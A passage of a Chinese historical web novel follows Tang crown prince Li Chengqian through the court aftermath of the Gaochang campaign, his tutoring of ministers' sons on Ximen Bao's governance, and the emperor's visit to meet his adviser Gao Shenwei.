高明或者承乾,没有李世民下场,高慎微自信这两个孩子可以应付的住场子。 李世民,这个对手太可怕了。 高慎微是真的怕,一个不小心,高明又和曾经的李承乾一样,被逼入绝境。 政治,容不得有软肋。 打了半日的太极拳,听了半日的哲学课,一直到太阳快要落山,李承乾才拉着儿子李象回到东宫。 端午节后的第二日,李承乾下朝回东宫的路上,才出承天门,就听见有人高喊。 “殿下,我回来……我回来了……” 李承乾一抬头,只见尉迟宝琳狂奔而来,身上铠甲暗淡,风尘仆仆,整个人大汗淋漓。 “臣拜见殿下,殿下,臣从西州一路快马加鞭回来,一刻都没停歇,就是为了早日能看见殿下。” 李承乾三步并作两步,伸手扶了一把喘着大气的尉迟宝琳,“慢点儿。” 长时间奔走,过度劳累,情绪过于激动,容易猝死! “殿下,走,去东宫,臣给您讲讲这一战,可好玩儿了。还有杜荷那小子,你都不知道他有多贼。” “糊涂!” 李承乾递了帕子过去,尉迟宝琳接过来,随手擦了额头上的汗。 “从前线下来,若是奉主帅之命,上报大战情况,该先去太极宫拜见陛下。若不是,那就是擅离职守,该去向陛下请罪。” 李承乾叹气,战将归来,不先拜皇帝,先拜太子。皇帝失了颜面,战将失了规矩,太子更会被推到风口浪尖。这小子虎的,当言官吃干饭的吗? 尉迟宝琳一拍脑袋,想到临走时父亲嘱咐,回长安第一时间拜见皇帝汇报大战情况,再去东宫拜见太子。 “殿下,多亏您提醒,不然我老尉迟就真的糊涂了。殿下,臣先去拜见陛下,等见过了陛下,再去东宫。殿下,臣要吃肉,不要清汤寡水。” 李承乾含笑应下,转身向随侍的吴安吩咐:“跑步回东宫,吩咐典膳,添几个肉菜,口味重些的。” 清汤寡水? 李承乾暗暗摇头,他东宫的吃食可不素,中华饮食文化,讲究的是吃肉不见肉。 第193章 各怀心思 一个鞠文泰多少斤两,李世民再清楚不过,高昌的战况,他也就没关注多少。 尉迟宝琳千里奔赴报喜,到底是灭国的大胜,该给的体面得给。 李世民在两仪殿接见了尉迟宝琳,礼毕落座,不等李世民开口,就听尉迟宝琳开口吐槽。 “陛下,您不知道,那个鞠文泰,臣都不好意思说了。胆子还没老鼠大,他是怎么敢封关,跟我大唐对着干的?” 李世民目光在尉迟宝琳送上来的奏疏上,淡淡开口:“听卿家这么说,你们父子这一战十分顺利……” “何止是顺利,那是如入无人之境,臣与父亲率领大军到西州城外,还没叫阵,那鞠文泰直接开了城门,自缚出来请罪。您就说,顺不顺利?” 李世民低头抿了口茶,挺好的,没被直接吓死。 “很顺利,那你们进城之后,可遇到反抗?可有扰乱民生?” 从前这个建功立业的机会给了侯君集,白捡一个功劳就算了,进城还大肆搜刮财物,后续安抚工作可是费了不少的心力。 他对侯君集小惩大诫,谁知道这老小子心怀怨恨,还和承乾搞到一起。 这一次尉迟恭父子出征,他特意嘱咐,不得惊动当地百姓,不得扰乱民生。 “没有,一切顺利。臣等一番商议过后,先由杜荷和张刺史领两千精兵进城,待安抚好西州局势过后,大军分批进城,直达要塞驻兵防守。” 李世民十分欣慰点头,“敬德是猛将,难得他如此心细,安排的妥帖,倒是有宰辅之才。” “陛下,这不是臣家那老爷子想的,您就别给他脸上贴金,他没有那个才。” 李世民笑容僵了一僵,孝子,真是大孝子! 幸福这东西,还是对比出来的,看完了尉迟宝琳这活宝,再想自家承乾,实在是太顺眼了。 “主意是杜荷提出来的,不过背后指点杜荷的高人是太子殿下。杜荷说了一堆,臣没记住多少,陛下可以去问太子殿下。” “哦?”是承乾,李世民笑得高深莫测,“看样子杜荷临行前,太子交代了不少?” 领兵多年,李世民对兵灾深有体会,局势没有稳定之前,大军直接进城,极其容易失控造成兵灾。 “大军进城之后,有些突厥人鼓动老百姓反抗,引起了些许骚乱,不过很快就平息了。” 李世民问道:“你们是如何平息骚乱的?” 尉迟宝琳道:“杜荷那小子,临行前带了一堆中原衣冠到高昌。得知突厥人兴风作浪,他让高昌国王室穿上中原衣冠,大张旗鼓,带着高昌国百姓祭祖。” 李世民含笑点头,“你知道他为何这么做吗?” 尉迟宝琳摇头,“一开始不知道,后来知道了,高昌国王室祖上是汉臣,杜荷还说了一堆臣听不太懂的话。 陛下,您不知道,杜荷那小子做官都是屈才,他应该去教坊唱戏,边说边哭,那叫一个情深意切。” 李世民笑道:“然后骚乱就平息了?” 尉迟宝琳忙不迭点头,道:“臣还记得几句,给您学一学。” 李世民点头,杜荷,李承乾的狗头军师。 “汉室以来,皇纲失统,中原衰弱……” 空气凝滞了良久,尉迟宝琳不好意思的挠头,“陛下,那啥要不您让杜荷那狗……让杜荷上疏,把他说得那一堆写下来?” 李世民哈哈一笑,“不用,朕大概能猜到他后面会说什么。平定高昌,你们父子有大功,朕要好好嘉奖你们。” 尉迟宝琳摇头,“高昌不战而降,威慑他的是大唐的国威,臣和父亲根本就没动手,白捡来军功,赏赐什么的就算了。” 李世民道:“过程如何不论,朕看的是结果,你们父子都要赏赐。” 尉迟宝琳道:“陛下,家父交代臣向您禀报大战事宜,臣禀报完了,现在可以走了吗?” 李世民道:“朕吩咐宫人设宴,为小将军接风洗尘。” 尉迟宝琳顿住,很为难,李世民看出门道,“你要去东宫?” “是……”尉迟宝琳心虚点头,“不瞒陛下,臣到承天门看见殿下了,就让殿下上臣的伙食,估计……” 李世民点点头,“朕明白了,你去东宫,大军凯旋,朕在太极殿设宴,那个时候可不许推辞了。” 尉迟宝琳狂喜,“陛下,您真是太通情达理了。” 李世民抬抬手,示意尉迟宝琳可以退下了,尉迟恭是粗中有细,生的这个儿子,只剩下粗了。 尉迟宝琳到东宫,直奔崇贤馆,“兄弟们,爷爷回来了!” …… 原本热闹的崇贤馆瞬间针落可闻,众人抬头向门口望去,只见尉迟宝琳一身银甲,双手叉腰站在门口,很是得意忘形。 程处亮最先反应过来,哈哈笑道:“你这是赶回来编成语大全了?” 尉迟宝琳十分认真的点头,“这种好事儿怎么能少了老子?” 魏叔玉道:“你跟谁老子呢?” 马循抿嘴轻笑,“他都是老尉迟了,还能跟谁老子。” 短暂的安静过后,众人哄堂大笑。 尉迟宝琳丈二和尚,摸不着头脑,不明白大家都在笑什么。 “你们在笑什么?” 真正的老尉迟在西州,哪里又跳出来一个老尉迟了? 马循就差没说,尉迟恭的小老子来了。 房遗直、魏叔玉等人看着马循直笑,文化人,损人有一套。 “殿下在显德殿设宴,这一次宴会,你们可是托了我的福气。” 高慎行白了一眼尉迟宝琳,“说得我们在东宫上值,殿下不管饭一样。” “杜荷那狗R的,在西州干的怎么样?” 尉迟宝琳思索片刻,“安定局势他干的不错,连陛下都在夸他,后续我哪儿知道? 他那些安抚的招数,还是殿下指点的,殿下不在西州,往后如何看他本事。” 众人相视不语,各有心事。 入仕东宫,图的就是在小君面前露脸,杜荷年纪轻轻做了西州太守,算是个不大不小的官儿。 尉迟宝琳随军出征,有灭国之功,回来封官赏赐肯定不少,谁都想做下一个入眼的人。 第194章 房家的困境 尉迟宝琳才进甘露殿,张阿难就接到皇帝指示,到东宫告诉太子,请太子在东宫宴请明威将军。 李承乾暗笑,张阿难来的太及时了。 皇帝还没宴请,他先请了客,势必给言官留下话柄。 可尉迟宝琳提出要在东宫吃饭,他要是直接推了,显得他怯懦,没有胆识。 吩咐典膳备宴时,他就想好了,晚间晨昏定省直接跟皇帝挑明此事,对外他就是代皇帝宴请明威将军。 只是这一次,没等他去跟皇帝说此事,皇帝就直接派张阿难来传话,他的宴请名正言顺。 李承乾看的出来,在座众人,这顿饭吃的并不舒服。 房遗直脸色沉郁,心事重重。 父亲是大唐第一相,崇贤馆一众同僚之中,房遗直的条件得天独厚。 好比他的胞弟房遗爱,一进文学馆,那就是越王李泰的心腹。 房遗直以为,他在东宫任职,也会如房遗爱般,成为主公心腹。 然而,现实给了他一击。 崇贤馆几十人,同太子私交最好的是李德謇和魏叔玉,最受太子倚重的是杜荷,爬的最快的是尉迟宝琳。 魏叔玉和李德謇倒还罢了,毕竟有太子少师和太子少保的父亲,可杜荷和尉迟宝琳的成功,让众人的心十分不平衡。 李承乾将这一切看在眼里,贞观天团的二代,在历史上存在感并不怎么高。 这其中政治纠葛颇深,贞观一朝二十三年,从贞观七年到贞观十七年,有长达十年时间,这些大臣在他和李泰之间左右摇摆。 立场不坚定,很多时候是政治的大忌讳,第一批贞观将相在他和李泰之间横跳,二代多牵扯其中。 李治将“一次不忠,百次不用”的原则贯彻到底。 李恪的谋反案就清理了一批,朝中重要官职,也基本将侥幸躲过的二代排除在外。 贞观朝的大臣几乎人人都与皇族联姻,高宗朝中期之后,武后掌权,打压李唐宗室,这些二代甚至三代又被牵扯其中。 房遗直一杯接着一杯,颇有些喝闷酒的意思,李承乾抿着茶汤,饶有深意的看了眼房遗直。 十分理解房遗直,房遗爱从李泰那里出来,在他这里就是一步废棋,不用想他都知道是房玄龄施压了。 “尉迟将军,此战你们父子居功甚伟,孤敬你。” 尉迟宝琳端酒一饮而尽,“这就是个白捡的军功,换谁去都行,殿下这酒喝的臣都惭愧了。等下次有机会,臣出征,必定要杀敌斩首,方才对得起殿下这杯酒。” 李承乾笑道:“陛下有囊括宇内之志,未来建功立业的机会绝对不少,必叫小将军尽兴。” 安抚完尉迟宝琳,李承乾再次举杯向众人,“陛下要孤代他宴请明威将军,孤索性将大家都请了,上次的字典,这一次的成语大全,多亏了诸君鼎力相助。” 一轮过后,李承乾再次举杯,向房遗直敬酒,“孤不在文学馆,房卿是定海神器,借明威将军的庆功宴,借花献佛,先谢过房卿。” 房遗直端正身子,惶恐端酒,回敬太子,“受君之禄,忠君之事。殿下受君命组织编撰成语大全,是天家之恩,臣不敢不尽心。” 李承乾笑道:“房卿方才那一句话,出自《后汉书·独行列传》中,原话日:‘受人之禄,忠人之事’。能有此心性,房卿不愧是忠良之后。” 房遗直饮下酒水,萦绕在心头的阴云散了些许,有太子这一席话,他回去也好向家里的老父亲交代。 李承乾和房玄龄有不愉快,可政治是平衡的艺术,权力游戏不以个人意志为转移,给房遗直面子,安抚的是房玄龄,也是为皇帝近日的安排收尾。 宴会结束,李承乾大手一挥,放了这群二代提前离开,席间有一道甜点,魏叔玉颇为喜欢,想到自家老爷子也会喜欢,讨了回府给自家老爷子。 房遗直出了宫门,搭乘马车回府,仍是心事重重。 房遗爱进文学馆一事,到底影响到了父亲,东宫三少就是未来的东宫三师,至关重要的太子詹士一职,也给了长孙无忌。 皇帝在朝廷明示李泰离京的时间,封地定在扬州,距离京师千里之遥。明眼人都看的出来,越王这一去,同储位无缘。 大族发迹,无非世代为官,清河房氏在真正的大族面前,也是上不得台面。 当初,父亲为他娶亲,曾想过以母亲范阳卢氏之女的身份,为他求娶卢家女,巨额的彩礼丢出去,却也只能求娶到旁枝之女。 房氏一族的延续,是每一个房家儿女的责任。 马车停在梁国公府角门,侍从搀扶着房遗直下车,照例先去父亲房玄龄院子里问安。 一身的酒气,房玄龄微微皱眉,开口语气不悦,“太子代陛下宴请明威将军,你只是作陪,吃那么多酒做什么?” 父亲声音严厉,房遗直下意识低头认错。 皇帝这些日子,对他明显有疏离,房玄龄眉头紧锁,细思过往是否行程踏错,也只有房遗爱入仕文学馆一事。 “酒能乱性,误人误事。这么多年,我在外从不多饮。” 房遗直的酒量并不好,他其实也没喝上几杯,“太子殿下举杯,儿不敢推拒。对了,太子殿下酒席上,点名夸了儿。” “哦?”房玄龄严肃的表情有了些许松动,“恭喜你了,继杜荷、尉迟宝琳之后,崇贤馆里,你应该会是第三个受任用的人。” “啊?” 房遗直十分不解,直溜溜一双眼睛看着父亲。 房玄龄压下心中无奈,他这几个儿子,都不是什么辅臣的料子。 “因文学馆的事情,陛下对我颇有微词,近日以来都不太亲近。陛下冷落的是我,实则敲山震虎,告诉朝野他不易储的决心。 越王离京之后,陛下的目的达到,就要有个人破局,这个人就是太子,太子抬举你,向朝野传递出的信息,你自己慢慢儿误吧!” 房玄龄抬手打发了房遗直出去,他的几个儿子都不是什么辅臣的料子。 房家的门庭延续,成了房玄龄第一心病。 第195章 歪理 收到李承乾递上来的奏疏,李世民欣慰点头,“所以,你想给房遗直一个什么职位?” 李承乾表示很为难,“房遗直敢把臣的手稿拿出东宫,并不值得臣信任,重要的官职不好给他的。” 李世民皱眉,面上添了几分阴云,泄露禁中之事,是大忌讳,太不像话了。 “你没处置他?” 李承乾道:“没有,我默认了他将手稿带出去。” 李世民轻笑,大郎挂名崇贤馆,二郎在文学馆,见到那份手稿,哪怕青雀有超越太子的荣宠,房玄龄也得掂量下自己提前站队该不该。 “小兔崽子,你是吃了多少的藕?” 李承乾顿了一顿,皇帝这是说他一肚子心眼。 “每年进贡数量有限,分配到各宫都有定额,这得看父亲愿意给多少。” 李世民笑笑,点到为止,不继续这个话题了。 “崇贤馆学士,正五品,掌管崇贤馆馆藏,品阶上合了他房相公子的身份,又不涉及机要。承乾太子,意下如何?” 官职的品阶合适,就是房遗直的学问不合适,不过眼下是最好的安排。 “臣听父亲的。” 李世民又问:“李德謇和魏叔玉,你打算如何安排?” 李承乾道:“李德謇太老实了,做事情一板一眼,不知变通,真把他放到重要位置,得罪人而不知。 至于叔玉,魏师傅把叔玉保护的太好,叔玉心性稚嫩,一身的孩子气。 他们两个的父亲又在东宫挂职,臣的意思,暂时不给他们官职,带在身边,好生历练一番,用不用,以后再说。” 李世民没忍住发笑,“你要不要看看你自己,好意思说人家魏叔玉孩子气?” 李承乾:…… “父亲,您不曾见过魏师傅和叔玉的相处,见到了,您就明白臣为何说魏师傅把叔玉宠出一身孩子气。” “你很羡慕?” 李承乾茶喝了一半,呛得连连咳嗽。 “我爸对我很好,我为什么要羡慕他?” 李世民脸上的表情有片刻的僵,“西州的事情,杜荷善后处理的极好,过个一年半载,朕就可以名正言顺把你的狗头军师调回你身边了。” “杜荷这小子,朝中历练几次过后,心性成熟的极快,再不是从前那个一言不合掀桌子热血青年了。至于能不能进京,还是要继续看。 说来,臣还是更关注制考,制考选拔上来的人才是新鲜的血液。这群二世祖,等他们父辈退场,能用了就用,不能用了自然淘汰是最好的。” 李世民点点头,十分认可李承乾的话,治理讲究是稳定,频繁的政治清洗会让朝野内内外惴惴不安,人心惶惶,干扰朝廷正常的运转秩序。 那些不怀好意的奸佞,容易借机上位,用高慎微的话说,情绪上头本就难以做出正确的决断,再被干扰,造成的影响只会更加恶劣。 于他本身而言,皇帝就算是错了,也不会认错,所谓罪己诏,不过是形势失控下的不得已妥协,只要形势没有到达失控的边缘,皇帝就会一错再错。 最后的结果,要么像杨广那样身死国灭,要么等到自己千秋万代之后,把问题留给儿孙。所以,贞观一朝大部分时间,他都没怎么在朝廷上大动干戈。 “对了,你太极拳练得怎么样?打一套给朕看看。” 又要来PUA他小胳膊小腿,李承乾虎躯一震,沉默片刻过后,计上心头,“父亲,未来的物理学,研究量子领域您知道吗?” “废话,朕肯定不知道。” 李承乾笑眯眯道:“父亲,在量子领域,一颗粒子可以同时存在向上或者向下两种状态的。” “所以,这跟朕要查你太极拳学的怎么样,有什么直接关系吗?” 李承乾一脸惋惜的样子,叹气道:“这您就不知道了吧?听臣把话说完,您就明白了。 关于粒子的两种状态,理论上来说,在您没有去观察它的时候,他就同时存在两种状态,当您去观察它的时候,它就坍塌到只有一种状态了。” 李世民面无表情看着李承乾,“朕不懂量子,说些朕能够听得懂的。” 李承乾道:“也就是说,在您查臣太极拳之前,臣的太极拳存在两种状态,打的好,或者打的不好。” 李世民点点头,“没错,然后呢?” 李承乾笑道:“如果臣打给您看,那么臣学的太极拳就只存在一种状态,好或者不好。” “没错!” 李承乾继续道:“如果臣打的好,父亲肯定会很开心,觉得孺子可教。” “没错,你的武事一直都是朕的心病。朕也很奇怪,你是怎么办到名师教导,学的惨不忍睹。” 李承乾轻咳一声,皇帝越来越有段子手的天分了,也不知道被谁带坏的。 “如果臣打的不好,父亲就算不会生气,心里头不舒坦,会觉得臣朽木不可雕。” 李世民摇摇头,否决了李承乾观点,“朕和高先生在你的武事上想法一致,不是让你做万里挑一的猛将,是强身健体。” 李承乾道:“这些都不重要,父亲不看臣打太极拳,那么臣有可能打的好,也有可能打的不好。父亲,您是希望臣打的好,还是打的不好?” “问得都是废话,不希望学好,朕能请李靖给你当师傅?” “这不就对了!”第一次忽悠皇帝,还挺好玩儿的,李承乾继续说:“那只要您不看,只要您相信,臣就打的极好。相反,只要您看了,臣就有可能打好,也有可能打不好。 综上所述,您不看,就是最好的结果。您的心中臣学业有成,父亲的信任也会让臣感激涕零。父亲,您和臣完全就是双赢。您觉得,臣说得有没有道理?” 李世民下意识点头,“有些道理!” “既然父亲不查了,臣告退!” 话音未落,李承乾拜了一拜,拔腿就跑。生怕迟一秒,皇帝反应过来,他跑不掉了。 李世民一番思索,理清楚李承乾的逻辑,当即摔了茶碗。 乍一听,好有道理,仔细一想,一堆歪理! 歪理就算了,他还被绕进去了。 第196章 开小灶 魏征和李靖真心教导他,李承乾投桃报李,也指点魏叔玉和李德謇,这让魏李二人很痛苦。 “父亲,儿现在需要您的帮忙!” 李靖抱着小白虎,抬头向门外看去,“什么事情?” 李德謇走进去,在父亲下首落座,“太子殿下给了一篇文论,《史记·滑稽列传·西门豹治邺》,太子要儿写一篇为政之要的策论。儿写好了,想请您帮忙看看。” 李靖撸老虎的动作微微一顿,“我一个打仗的,看不懂文治,找你师傅去。” “儿的师傅?父亲,三年前您就将儿的先生辞退了,这会子去找,不太好吧!” 李靖无奈叹气,只想扒开李德謇脑袋,看看里面y都装了些什么东西。 “谁让你写的文章,谁就是你的师傅。孩子,能有这个机缘,你要好生珍惜。” 李德謇老实,却不是蠢笨,父亲这么一说,他立刻就明白了。 “谢父亲提点,儿明白了。” 李靖点点头,提起老虎看了又看,“明白了,你就可以滚了。” 李德謇拜了一拜,麻溜的跑了。 郑国公府 忙了一日,魏征一只脚才进正院,魏叔玉就冲了上来,“陛下不让太子殿下写策论了,太子殿下折腾我和德謇了。” 魏征面无表情,接过魏叔玉递上来的东西,大略看了一眼,有些恨铁不成钢。 “不识好歹的混账,得了便宜卖乖,这机会你不要有的是人想要。” 魏叔玉挠挠头,不是很理解父亲的意思。 魏征径直去书房,屏退仆从,四下无人,他这才开口:“杜荷能直接去西周做太守,那是因为他此前在鸿胪寺任职,让人看到了他的才华。 尉迟宝琳随父出征,他有那一把子蛮力,他心性单纯直率,认准了就死忠到底,陛下和太子殿下看重的是他的忠心。 你和李德謇,资质还行,但悟性不高,我没时间教你,卫国公功勋卓著要避嫌不好教的。卫国公与我真心教导太子,太子投桃报李,愿意亲自指点你们辅臣之道。 别眼红房遗直被授官,那是得了房相荫蔽,你和德謇才是真的入了太子的眼。 太子学识不在为父之下,他是未来的天子,陛下千秋万代之后,你们就是天子门生。” “父亲,那儿写的这篇策论?” 魏征拍了拍儿子背心,笑道温和慈爱,“为父老了,朝务繁忙,没精力教你了。有人教你,你要好好的学。” 下了早朝,回显德殿同父亲用过午膳,正要午休,魏叔玉和李德謇前来拜见。 李承乾知道,二人是来交作业的,有必要跟这两个人说一声,往后午休时间,不要过来打扰。 “臣魏叔玉/李德謇,拜见太子殿下。” 李承乾微微一抬手,目光示意二人落座。 魏叔玉首先交了作业,“殿下,您让臣写的东西,臣写好了。” 李德謇紧随其后,“殿下,写的不太好,您只管骂,打都行。” “打骂不至于,我的脾气没那么差。” 李承乾被逗的发笑,认真看完魏叔玉和李德謇交上来的策论。 “你们可知我为何要你们写这篇策论?” 魏叔玉道:“为政之要,自然是治理的机要。” 李承乾点点头,道:“我给你们写一篇文论,当中有八项要点,叔玉的文章得了其中之六,德謇得了其中之五。” 李德謇道:“还请殿下指点。” 李承乾道:“第一点,脚踏实地,作为一方大员,西门豹可以放下身份,进行实地走访,向老百姓了解邺地的情况。 第二点,就是体察地方之疾苦,文论开篇就说了,‘豹往到邺,会长老,问之民所疾苦。’ 第三点,知晓百姓意愿,西门豹所问,得到的答案是‘苦为河伯娶妇,以故贫。’那么百姓的意愿是什么?脱贫! 第四点,要明确立场,我通俗一些的说什么,就是认清自己身份,自己是谁,来这里要干什么。 第五点,要懂的变通,明确要处理‘河伯娶妇’的问题,西门豹没有直接否决‘河伯娶妇’,你们可知道为什么?” 魏叔玉道:“河伯娶妇持续多年,百姓背井离乡,却不曾反抗,忍痛送出女儿,百姓虽有不满,对此般行经却是认可的。 若西门豹直接否决‘河伯娶妇’,那邺地三老协同廷掾、祝巫妖言惑众,说西门豹不愿为河伯娶妇,无视民生疾苦。 百姓苦于漳河大水,肯定会对西门豹有所不满。西门豹此行,不仅不能解决‘河伯娶妇’的问题,后续对漳河的治理,也会因为老百姓的不满受阻。” 李承乾点点头,“这就是我要说的第六点,知晓老百姓的意愿,西门豹正是知道这一点,所以他顺势而为,假意相信‘河伯娶妇’能够阻止漳河大水。” 李德謇道:“安抚住百姓的同时,也让邺地三老及廷掾祝巫放松警惕。因为相信河伯的存在,那么将祝巫及三老投河也就合情合理了。” 李承乾笑道:“西门豹处置邺地三老及祝巫,就是我要说的第七点,杀伐果决,遇事要能决断。须知:慈不掌兵,善不为官。” 李德謇提出疑问,“殿下说慈不掌兵,可那些征战沙场的将军,好多都是爱兵如子。” 李承乾道:“慈不掌兵说的是军纪,将军要打胜仗,军纪就不能松散,将军可以爱兵如子,但必须以铁腕保证严明的军纪。 善不为官并非不善,《吕氏春秋·察微篇》记载了孔子批评子贡赎人拒收赎金的故事,点出了一个问题,小善如大恶。 《道德经》第五章有这么一句话,‘天地不仁,以万物为刍狗’,天道无所偏爱,所以大善似无情。???? 小善及人,大善及天下。西门豹主政一方,他的善该在一方百姓,而非实指某一人。他杀祝巫及邺地三老,看似狠辣无情,实则是大善。” 魏叔玉迫不及待追问,“殿下,那第八要是什么?” 李承乾道:“担当,西门豹所做的一切,是他作为一方大员担当,要能够担责。 我上述说的八项,掌握其中六项,就可以可治理一域,再添一项,可以主政一方,若此八项俱全,那就是王佐之臣。叔玉,德謇,你父亲就是这样的人。” 殿门外响起拊掌声,殿内三人齐刷刷看向殿外。 李世民、长孙无忌、房玄龄、魏征、马周、高士廉,李世绩、杨师道、韦挺、褚遂良。 皇帝及三省六部长官都来了,李承乾人麻了,来了这么多人,不提前知会一声? 特别是,他正在给魏叔玉和李德謇开小灶。 第197章 求见高慎微 心中一群草泥马呼啸而过,李承乾也只能硬着头皮,换了一张笑脸迎了上去。 “臣承乾,拜见陛下。” 李世民虚扶了一把,李承乾十分有眼色的上前,搀住皇帝。大臣们都在,父慈子孝得演下去。 “陛下,您怎么过来了?” 李世民笑道:“西州的事情了结,敬德率大军,押着鞠文泰回京,此一战灭国之功,怠慢不得,朕与诸卿商议,由你代朕到承天门外迎接敬德。” 李承乾扶着皇帝在主位落座,要他去干活儿,知会一声就行了,用得着亲自过来通知? “蒙陛下信重,臣不胜惶恐。” 李世民继续道:“原本要人通知你接驾,想着你这会子可能已经睡下,就让宫人们噤声,不许惊扰你歇息,想着先去崇贤馆瞧瞧。 不成想进了显德殿的院子,听到你高谈阔论,见你正在兴头上,不好扫了你的兴致,我们都跟着站在外面听课。” 李承乾暗暗吐槽:那可真是谢谢您了,崇贤馆一堆二代,他单独开小灶给魏叔玉和李德謇,原本是私下进行,这下好了,摆明面上了。 政治最重平衡,这群二代没啥能量,但他们背后的大佬,那是不得不考量。 李承乾面露惭愧之色,“臣才识了几个字,勉强看懂几篇文章,在陛下与诸公面前班门弄斧,还让陛下与诸公久候,实在是折煞臣了。” 长孙无忌笑道:“殿下可能不知道,现在长安城里的《贞观字典》有价无市,殿下学问若是勉强,我等岂非是睁眼瞎了?” 日常商业互吹,李承乾笑盈盈回答,顺道抬一把崇贤馆的二代,捧一场皇帝。 “舅父,这字典也不是我一个人编的,出了力的人这会子都在崇贤馆歇着。再说,没有陛下信任,我也编不成。群策群力,断不是我的一人之功。” 高士廉看了眼魏叔玉和李德謇,“能得殿下提点,两位郎君好福气,殿下,臣有个不情之请,往后这样的机会,把臣那逆子也带上。” 众大臣目光齐刷刷落在高士廉身上,这是强行塞人,老小子,脸皮够厚! 李承乾暗道不好,他就是开个小灶,可不想玩儿大课堂教学。 “申国公有所不知,听叔玉说,魏师傅查功课极严,我一想这魏师傅骂人可厉害的紧,便稍稍提点一二,免得叔玉回去挨骂。” 魏征瞪了眼魏叔玉,赶紧解释,“殿下,别听这小子造谣生事,臣十分随和的,真的,特随和,最多也就感慨几句家门不幸。” 李世民毫不犹豫拆台,“玄成公,你对随和二字得有多大的误解?” 长孙无忌跟着补刀,“附议,玄成公那嘴巴有多毒,出去钓鱼,鱼都不敢上钩,生怕给你毒死了。” 高士廉道:“也就是蛇,敢上来碰一碰玄成公。” 房玄龄接棒,继续道:“还是越老越毒,就怕玄成哪一天舔了自己嘴唇,一不小心把自个儿毒死了,痛失王佐之臣,那可是我大唐的损失。” 在挖苦魏征这一块儿,皇帝和大臣们可谓是齐心协力。 李承乾开口解围,“是不是做父亲的,都觉得别家的孩子好?陛下总说我不够贴心,李师傅说德謇是莽夫,不通文义,真是大大的冤枉。” “谁说朕的承乾不贴心,贴心的不得了,生病了药一口不吃,就怕废了朕的药钱。” 李承乾:…… 本来给魏征解围,结果魏征又躺枪了,李承乾默默在心里给魏征点了蜡。 “陛下专门过来一趟,应该不止迎接大军凯旋一事吧?” 午休时间到了,李承乾有午休的习惯,身体生物钟的本能,驱使他眼皮子不停的打架,就想着赶紧把这群大爷送走,他要睡觉。 “孔颍达和于志宁被贬黜后,左春坊差两个左庶子。” 李世民微微一抬手,褚遂良和马周出列。 “他们二位,任你的左庶子,太子意下如何?” 这可是重量级人物,李承乾拜谢过皇帝,“臣无异议,谢陛下。” “听闻殿下的崇贤馆,来了一位高先生,学识渊博,颇得殿下礼遇,连休沐之日,都入宫伴君左右。” 李承乾脸上笑容僵了一瞬,这群人真正的目的,是想见父亲。 房玄龄道:“臣家大郎也是一次偶然,整理文学典籍时与这位高先生碰面,相谈几句,对高先生颇有赞誉,说他是良师。” 李承乾赔笑,顺道将问题丢给高士廉,“房相说笑了,高先生是申国公的族侄,申国公必是再了解不过的。” 父亲是爱屋及乌,想着他手底下的人,自己提点几句,也当是给他培养马仔,不成想引起关注了。 见话题转到自己身上了,高士廉连忙摆手,“殿下,臣与慎微统共没见几面。” 长孙无忌道:“高先生这会子应该在崇贤馆,陛下,不若让高先生出来一见?” 李承乾心下一沉,真是好舅舅啊! “陛下,高先生这会子差不多睡下了,他有午休的习惯。” 李德謇挠挠头,“殿下,高先生应该没睡,这些日子先生一直在写东西,午间都是不休息的。” 李承乾气结,这兄弟真是一点儿不懂得察言观色,怪不得李靖不耐烦,换他,他也不耐烦。 高慎微并不知显德殿因他争论不休,他仍在奋笔疾书,将自己能记住的,有关哲学以及心理学相关的东西,都翻译成文言文。 他怕口头上的授课,高明转过身就忘了,索性将理论写成册子,留给高明。 他留给高明的东西,这孩子必定会时时翻阅,久而久之,潜移默化,将知识装进高明脑袋里。 一番极限拉扯,终是胳膊拧不过大腿,李承乾不得不同意父亲出来相见,再继续遮掩,父亲都要成蛊惑人心的妖人了。 收到传召,高慎微放下笔,眉头锁了起来,高明背着李承乾的皮囊,除开李世民,旁人不知他们的牵绊。 眼下李世民全力维护太子,东宫的萝卜坑珍贵的紧,朝中官员将自家子弟送入东宫,图的就是个占位。 他不声不响,成了太子心腹,深得太子礼遇,他若不出去相见,闲话指不定多难听。 放下笔,高慎微理了理仪容,跟着宫人去显德殿。 第198章 组队被拒 传闻中的贞观将相天团,有生之年能得一见,不激动是假的。 “草民高慎微,拜见陛下。” 李世民让人赐座,笑盈盈看着高慎微,道:“卿之贤名,闻之久矣,今日终得一见。” 目光无意识扫向长孙无忌和房玄龄,发过去了“围猎”邀请。 平日里动手,老小子一个劲儿的躲闪,他连衣角摸都摸不到,动嘴不提了,老东西一堆歪理,时不时还把他绕进去。 长孙无忌与房玄龄相视一眼,各自在心里直打鼓,一个太子客卿,值得皇帝花这么大的心思? 能让皇帝发出了“围猎”邀请,上一个得此“殊荣”的是魏征。 高慎微轻笑,什么终得一见,皇帝说起瞎话来,真是不打草稿,他俩别说见面,动手都不止一回了。 “他乡之人,客居于此,陛下所言贤名,不过好事之辈,以讹传讹耳。” 没见长孙无忌和房玄龄应声,李世民谈笑间又向二人扫了一眼。 李承乾抢先开口,“舅父,上次送去府上的新茶如何?” 送去长孙家的是太子的新茶,皇帝要“围猎”的对象是太子新臣,还是宠臣,个中深意不言而喻。 “甚好,多谢太子殿下。” 长孙无忌假装没看到皇帝的“围猎”邀请,太子下场维护高慎微,此事已经不简单了。 更何况,他是太子母舅,又在东宫任职太子詹士一职,“围猎”太子宠臣有些说不过去。 国舅装傻,房玄龄有样学样,低头喝茶,跟着装傻,假装没看到李世民的“围猎”邀请。 李世民暗骂老狐狸,面上带笑,同高慎微交谈:“卿得太子信重,万万慎言才是,以讹传讹,多欺世盗名之辈,卿名不堪,将至太子何地?” 李世民多日来憋的窝囊气,私下里讨不到便宜,索性直接摆到台面,笃定高慎微和李承乾不能挑来真相,只能吃了这个闷亏。 高慎微也知此理,脸上依旧是那副自信从容的微笑,“太子困于武事,草民恰有虚名,奉命入宫教习,不成想引来这诸多议论,实在惭愧。” “老朽当以为如何,原来是为此。” 皇帝“围猎”高慎微,多半同太子相关,自家那缺心眼的儿子,得太子悉心指点,魏征思索片刻,果断下场跟高慎微组队。 “太子乃储副之尊,而今朝野内外,咸知太子武事不通,实在有损太子清誉,是陛下万万慎言。” 李世民看着魏征,表情十分难言,心下暗骂:老匹夫,你拿的是谁的俸禄? “玄成,朕与高卿说话,与卿家有什么相关?” 魏征半点儿不带怕的,直接回了一句,“臣据实以奏,若有半句虚言,还请陛下指出。” 李世民直接忽略魏征,看向高慎微,“卿善武事,朕始知之。” 高慎微暗暗摇头,架都打了不止一次,皇帝这话说得半点不违心,果然应了那句,一流演员在政坛,二流演员赴商海,三流演员混影坛。 